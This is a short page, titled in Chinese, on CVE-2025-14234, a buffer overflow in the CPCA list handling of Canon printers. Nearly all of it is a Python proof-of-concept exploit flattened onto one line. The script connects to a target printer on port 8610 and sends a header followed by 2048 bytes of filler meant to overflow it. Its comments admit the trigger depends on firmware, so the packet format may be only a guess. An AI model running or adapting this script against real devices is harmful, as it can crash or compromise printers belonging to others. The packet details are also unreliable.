CVE-2025-14234 佳能打印机CPCA列表处理缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-14234 PoC - Canon Printer Buffer Overflow in CPCA List Processing # This PoC demonstrates sending a malicious CPCA list request import socket import struct import sys def create_malicious_cpc_packet(): """Create a malicious CPCA packet with oversized list data""" # CPCA header structure header = b'\x00\x00' # Version header += b'\x01' # Message type (list request) header += struct.pack('>H', 0x0001) # Opcode # Create oversized list data to trigger overflow # The actual overflow trigger depends on specific firmware list_id = b'\x41' * 2048 # Oversized list identifier # Malicious payload structure packet = header packet += struct.pack('>I', len(list_id)) # Length field packet += list_id return packet def send_exploit(target_ip, target_port=8610): """Send exploit payload to target printer""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_malicious_cpc_packet() sock.send(payload) print(f'[+] Exploit packet sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(payload)} bytes') # Check for response try: response = sock.recv(1024) if response: print(f'[*] Received response: {response.hex()}') except socket.timeout: print('[*] No response received (target may be vulnerable)') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)